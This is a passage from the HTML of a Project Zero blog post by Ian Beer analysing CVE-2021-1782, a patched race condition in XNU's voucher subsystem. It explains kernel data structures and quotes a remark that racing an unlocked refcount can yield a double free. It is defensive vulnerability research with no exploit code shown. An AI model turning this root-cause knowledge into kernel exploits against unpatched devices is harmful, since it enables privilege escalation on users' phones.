New"}.BGLtzooHlW-c5{orphans:2;widows:2}.BGLtzooHlW-c1{height:0pt}.BGLtzooHlW-c14{font-style:italic}.BGLtzooHlW-c28{vertical-align:super}.BGLtzooHlW-c8{height:11pt}.BGLtzooHlW-c17{font-weight:700}.BGLtzooHlW-c22{margin-left:36pt}.BGLtzooHlW-c23{background-color:#00ff00}.title{padding-top:0pt;color:#000000;font-size:26pt;padding-bottom:3pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.subtitle{padding-top:0pt;color:#666666;font-size:15pt;padding-bottom:16pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}li{color:#000000;font-size:11pt;font-family:"Arial"}p{margin:0;color:#000000;font-size:11pt;font-family:"Arial"}h1{padding-top:20pt;color:#000000;font-size:20pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h2{padding-top:18pt;color:#000000;font-size:16pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h4{padding-top:14pt;color:#666666;font-size:12pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h5{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h6{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left}</style></head><body class="BGLtzooHlW-c27">
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">Posted by Ian Beer, Google Project Zero</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c17">This blog post is my analysis of a vulnerability exploited in the wild and patched in early 2021. Like the </span><span class="BGLtzooHlW-c9"><a class="BGLtzooHlW-c251" href="https://googleprojectzero.blogspot.com/2022/04/cve-2021-30737-xerubs-2021-ios-asn1.html">writeup published last week</a></span><span class="BGLtzooHlW-c17"> looking at an ASN.1 parser bug, this blog post is based on the notes I took as I was analyzing the patch and trying to understand the XNU vouchers subsystem. I hope that this writeup serves as the missing documentation for how some of the internals of the voucher subsystem works and its quirks which lead to this vulnerability.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>CVE-2021-1782 was fixed in iOS 14.4, as noted by </span><span class="BGLtzooHlW-c21"><a class="BGLtzooHlW-c251" href="https://twitter.com/s1guza/status/1354575808547999744">@s1guza on twitter</a></span><span class="BGLtzooHlW-c10">:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c5 BGLtzooHlW-c24"></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTx_FjnSHTtPtnk2F1K8-AYcTnVrIBNV8PNJQgZCOhfoIvU6hD7teqA3Jmb8T8KtIpnIYKuUqa28P-pt-yM2zUsWppkcmdx18pAP8r0XTQH4JHAhpNZkC2uALpz_Pn5_OXK3mXlblNG1i6TIEtLsksgez8GlLTi2zuxP0haGXzaU1XGEj2RQeNjOto/s1182/image1%20%283%29%281%29.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTx_FjnSHTtPtnk2F1K8-AYcTnVrIBNV8PNJQgZCOhfoIvU6hD7teqA3Jmb8T8KtIpnIYKuUqa28P-pt-yM2zUsWppkcmdx18pAP8r0XTQH4JHAhpNZkC2uALpz_Pn5_OXK3mXlblNG1i6TIEtLsksgez8GlLTi2zuxP0haGXzaU1XGEj2RQeNjOto/s1182/image1%20%283%29%281%29.png" border="0" alt=""So iOS 14.4 added locks around this code bit (user_data_get_value() in ipc_voucher.c). "e_made" seems to function as a refcount, and you should be able to race this with itself and cause some refs to get lost, eventually giving you a double free"" style="max-height: 750; max-width: 600px;" title=""So iOS 14.4 added locks around this code bit (user_data_get_value() in ipc_voucher.c). "e_made" seems to function as a refcount, and you should be able to race this with itself and cause some refs to get lost, eventually giving you a double free"" /></a></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">This vulnerability was fixed on January 26th 2021, and Apple updated the iOS 14.4 release notes on May 28th 2021 to indicate that the issue may have been actively exploited:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgz_bD89bznHVJLkW_Kbwy-1JEoHaUyMfeaqDbpVjRTQ366r8ywGgSGps2aPyFa05wBuKWqAi2hJmm76dnbcgoV4YCFug4UWu3OhkHPgKjg6coamg35AId8VsOw5gkIHldyvefgRSX0klbhJ275wnwri6dzSTb_OZwwz2LeUeVjmHIAPsyirypsYonn/s1660/image2%20%282%29%281%29.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgz_bD89bznHVJLkW_Kbwy-1JEoHaUyMfeaqDbpVjRTQ366r8ywGgSGps2aPyFa05wBuKWqAi2hJmm76dnbcgoV4YCFug4UWu3OhkHPgKjg6coamg35AId8VsOw5gkIHldyvefgRSX0klbhJ275wnwri6dzSTb_OZwwz2LeUeVjmHIAPsyirypsYonn/s1200/image2%20%282%29%281%29.png" border="0" alt="Kernel. Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation). Impact: A Malicious application may be able to elevate privileges. Apple is aware of a report that this issue may have been actively exploited. Description: A race condition was addressed with improved locking. CVE-2021-1772: an anonymous researcher. Entry updated May 28, 2021" style="max-height: 750; max-width: 600px;" title="Kernel. Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation). Impact: A Malicious application may be able to elevate privileges. Apple is aware of a report that this issue may have been actively exploited. Description: A race condition was addressed with improved locking. CVE-2021-1772: an anonymous researcher. Entry updated May 28, 2021" /></a></span></p><h2 class="BGLtzooHlW-c18 BGLtzooHlW-c5" id="h.iaaooqfddqk2"><span class="BGLtzooHlW-c20">Vouchers</span></h2>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">What exactly is a voucher?</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">The kernel code has a concise description:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c22"><span class="BGLtzooHlW-c14 BGLtzooHlW-c26">Vouchers are a reference counted immutable (once-created) set of indexes to particular resource manager attribute values (which themselves are reference counted).</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">That definition is technically correct, though perhaps not all that helpful by itself.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">To actually understand the root cause and exploitability of this vulnerability is going to require covering a lot of the voucher codebase. This part of XNU is pretty obscure, and pretty complicated.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>A voucher is a reference-counted table of keys and values.</span><span> Pointers to all created vouchers are stored in the global </span><span class="BGLtzooHlW-c11">ivht_bucket</span><span class="BGLtzooHlW-c10"> hash table.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">For a particular set of keys and values there should only be one voucher object. During the creation of a voucher there is a deduplication stage where the new voucher is compared against all existing vouchers in the hashtable to ensure they remain unique, returning a reference to the existing voucher if a duplicate has been found.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">Here's the structure of a voucher:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.172bf3f0517e74698dccf6803d0a7cba3e4db4b2"></a><a id="t.0"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">struct</span><span class="BGLtzooHlW-c4"> ipc_voucher </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_index_t iv_hash</span><span class="BGLtzooHlW-c2">;</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* checksum hash */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_index_t iv_sum</span><span class="BGLtzooHlW-c2">;</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* checksum of values */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> os_refcnt_t iv_refs</span><span class="BGLtzooHlW-c2">;</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* reference count */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_index_t iv_table_size</span><span class="BGLtzooHlW-c2">;</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* size of the voucher table */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_index_t iv_inline_table</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c4">IV_ENTRIES_INLINE</span><span class="BGLtzooHlW-c2">];</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_entry_t iv_table</span><span class="BGLtzooHlW-c2">;</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* table of voucher attr entries */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ipc_port_t iv_port</span><span class="BGLtzooHlW-c2">;</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* port representing the voucher */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> queue_chain_t iv_hash_link</span><span class="BGLtzooHlW-c2">;</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* link on hash chain */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">};</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c3"> </span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7">#define</span><span class="BGLtzooHlW-c4"> IV_ENTRIES_INLINE MACH_VOUCHER_ATTR_KEY_NUM_WELL_KNOWN</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">The voucher codebase is written in a very generic, extensible way, even though its actual use and supported feature set is quite minimal.</span></p><h2 class="BGLtzooHlW-c18 BGLtzooHlW-c5" id="h.ws3slh7jndn7"><span class="BGLtzooHlW-c20">Keys</span></h2>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Keys in vouchers are not arbitrary. Keys are </span><span class="BGLtzooHlW-c17">indexes</span><span> into a voucher's </span><span class="BGLtzooHlW-c11">iv_table</span><span>; a value's position in the </span><span class="BGLtzooHlW-c11">iv_table</span><span class="BGLtzooHlW-c10"> table determines what "key" it was stored under. Whilst the vouchers codebase supports the runtime addition of new key types this feature isn't used and there are just a small number of fixed, well-known keys:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.bb8dc8863bbdd47aa96ca2a52c637e312485af31"></a><a id="t.1"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7">#define</span><span class="BGLtzooHlW-c4"> MACH_VOUCHER_ATTR_KEY_ALL </span><span class="BGLtzooHlW-c2">((</span><span class="BGLtzooHlW-c4">mach_voucher_attr_key_t</span><span class="BGLtzooHlW-c2">)~</span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c2">)</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7">#define</span><span class="BGLtzooHlW-c4"> MACH_VOUCHER_ATTR_KEY_NONE </span><span class="BGLtzooHlW-c2">((</span><span class="BGLtzooHlW-c4">mach_voucher_attr_key_t</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c2">)</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c3"> </span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7">/* other well-known-keys will be added here */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7">#define</span><span class="BGLtzooHlW-c4"> MACH_VOUCHER_ATTR_KEY_ATM </span><span class="BGLtzooHlW-c2">((</span><span class="BGLtzooHlW-c4">mach_voucher_attr_key_t</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c15">1</span><span class="BGLtzooHlW-c2">)</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7">#define</span><span class="BGLtzooHlW-c4"> MACH_VOUCHER_ATTR_KEY_IMPORTANCE </span><span class="BGLtzooHlW-c2">((</span><span class="BGLtzooHlW-c4">mach_voucher_attr_key_t</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c15">2</span><span class="BGLtzooHlW-c2">)</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7">#define</span><span class="BGLtzooHlW-c4"> MACH_VOUCHER_ATTR_KEY_BANK </span><span class="BGLtzooHlW-c2">((</span><span class="BGLtzooHlW-c4">mach_voucher_attr_key_t</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c15">3</span><span class="BGLtzooHlW-c2">)</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7">#define</span><span class="BGLtzooHlW-c4"> MACH_VOUCHER_ATTR_KEY_PTHPRIORITY </span><span class="BGLtzooHlW-c2">((</span><span class="BGLtzooHlW-c4">mach_voucher_attr_key_t</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c15">4</span><span class="BGLtzooHlW-c2">)</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c3"> </span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7">#define</span><span class="BGLtzooHlW-c4"> MACH_VOUCHER_ATTR_KEY_USER_DATA </span><span class="BGLtzooHlW-c2">((</span><span class="BGLtzooHlW-c4">mach_voucher_attr_key_t</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c15">7</span><span class="BGLtzooHlW-c2">)</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c3"> </span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7">#define</span><span class="BGLtzooHlW-c4"> MACH_VOUCHER_ATTR_KEY_TEST </span><span class="BGLtzooHlW-c2">((</span><span class="BGLtzooHlW-c4">mach_voucher_attr_key_t</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c15">8</span><span class="BGLtzooHlW-c2">)</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c3"> </span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7">#define</span><span class="BGLtzooHlW-c4"> MACH_VOUCHER_ATTR_KEY_NUM_WELL_KNOWN MACH_VOUCHER_ATTR_KEY_TEST</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>The </span><span class="BGLtzooHlW-c11">iv_inline_table</span><span> in an </span><span class="BGLtzooHlW-c11">ipc_voucher</span><span class="BGLtzooHlW-c10"> has 8 entries. But of those, only four are actually supported and have any associated functionality. The ATM voucher attributes are deprecated and the code supporting them is gone so only IMPORTANCE (2), BANK (3), PTHPRIORITY (4) and USER_DATA (7) are valid keys. There's some confusion (perhaps on my part) about when exactly you should use the term key and when attribute; I'll use them interchangeably to refer to these key values and the corresponding "types" of values which they manage. More on that later.</span></p><h2 class="BGLtzooHlW-c18 BGLtzooHlW-c5" id="h.z3ifj5rlshxh"><span class="BGLtzooHlW-c20">Values</span></h2>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Each entry in a voucher </span><span class="BGLtzooHlW-c11">iv_table</span><span> is an </span><span class="BGLtzooHlW-c11">iv_index_t</span><span class="BGLtzooHlW-c10">:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.adadf70a01ef64fd38d16dcc040ece0a87975524"></a><a id="t.2"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">typedef</span><span class="BGLtzooHlW-c4"> natural_t iv_index_t</span><span class="BGLtzooHlW-c2">;</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Each value is again an index; this time into a </span><span class="BGLtzooHlW-c14">per-key</span><span class="BGLtzooHlW-c10"> cache of values, abstracted as a "Voucher Attribute Cache Control Object" represented by this structure:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.34f3e7551949b227b144fa7c23780e56054cf088"></a><a id="t.3"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">struct</span><span class="BGLtzooHlW-c4"> ipc_voucher_attr_control </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">os_refcnt_t ivac_refs</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">boolean_t ivac_is_growing</span><span class="BGLtzooHlW-c2">;</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* is the table being grown */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">ivac_entry_t ivac_table</span><span class="BGLtzooHlW-c2">;</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* table of voucher attr value entries */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">iv_index_t ivac_table_size</span><span class="BGLtzooHlW-c2">;</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* size of the attr value table */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">iv_index_t ivac_init_table_size</span><span class="BGLtzooHlW-c2">;</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* size of the attr value table */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">iv_index_t ivac_freelist</span><span class="BGLtzooHlW-c2">;</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* index of the first free element */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">ipc_port_t ivac_port</span><span class="BGLtzooHlW-c2">;</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* port for accessing the cache control */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">lck_spin_t ivac_lock_data</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">iv_index_t ivac_key_index</span><span class="BGLtzooHlW-c2">;</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* key index for this value */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">};</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">These are accessed indirectly via another global table:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.458710f747bcd533915a3238dbd017b636296741"></a><a id="t.4"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">static</span><span class="BGLtzooHlW-c4"> ipc_voucher_global_table_element iv_global_table</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c4">MACH_VOUCHER_ATTR_KEY_NUM_WELL_KNOWN</span><span class="BGLtzooHlW-c2">];</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">(Again, the comments in the code indicate that in the future that this table may grow in size and allow attributes to be managed in userspace, but for now it's just a fixed size array.)</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">Each element in that table has this structure:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.f065f1b068e3aad8a11a5356fab0dbe3d10ab90a"></a><a id="t.5"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">typedef</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">struct</span><span class="BGLtzooHlW-c4"> ipc_voucher_global_table_element </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ipc_voucher_attr_manager_t ivgte_manager</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ipc_voucher_attr_control_t ivgte_control</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_key_t ivgte_key</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">}</span><span class="BGLtzooHlW-c4"> ipc_voucher_global_table_element</span><span class="BGLtzooHlW-c2">;</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Both the </span><span class="BGLtzooHlW-c11">iv_global_table</span><span> and each voucher's </span><span class="BGLtzooHlW-c11">iv_table</span><span> are indexed by </span><span class="BGLtzooHlW-c11">(key-1)</span><span>, not </span><span class="BGLtzooHlW-c11">key</span><span>, so the userdata entry is </span><span class="BGLtzooHlW-c11">[6]</span><span>, not </span><span class="BGLtzooHlW-c11">[7]</span><span class="BGLtzooHlW-c10">, even though the array still has 8 entries.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>The </span><span class="BGLtzooHlW-c11">ipc_voucher_attr_control_t</span><span> provides an abstract interface for managing "values" and the </span><span class="BGLtzooHlW-c11">ipc_voucher_attr_manager_t</span><span> provides the "type-specific" logic to implement the semantics of each type (here by type I mean "key" or "attr" type.) Let's look more concretely at what that means. Here's the definition of </span><span class="BGLtzooHlW-c11">ipc_voucher_attr_manager_t</span><span class="BGLtzooHlW-c10">:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.467ea53fdb41a42817b67f1b1b14674c0e55d04b"></a><a id="t.6"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">struct</span><span class="BGLtzooHlW-c4"> ipc_voucher_attr_manager </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ipc_voucher_attr_manager_release_value_t ivam_release_value</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ipc_voucher_attr_manager_get_value_t ivam_get_value</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ipc_voucher_attr_manager_extract_content_t ivam_extract_content</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ipc_voucher_attr_manager_command_t ivam_command</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ipc_voucher_attr_manager_release_t ivam_release</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ipc_voucher_attr_manager_flags ivam_flags</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">};</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c11">ivam_flags</span><span> is an </span><span class="BGLtzooHlW-c11">int</span><span> containing some flags; the other five fields are function pointers which define the semantics of the particular attr type. Here's the </span><span class="BGLtzooHlW-c11">ipc_voucher_attr_manager</span><span> structure for the </span><span class="BGLtzooHlW-c11">user_data</span><span class="BGLtzooHlW-c10"> type:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.24cf1225ae06e4faa7d9d726ded665d4facb053f"></a><a id="t.7"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">const</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">struct</span><span class="BGLtzooHlW-c4"> ipc_voucher_attr_manager user_data_manager </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">.</span><span class="BGLtzooHlW-c4">ivam_release_value </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> user_data_release_value</span><span class="BGLtzooHlW-c2">,</span></p>
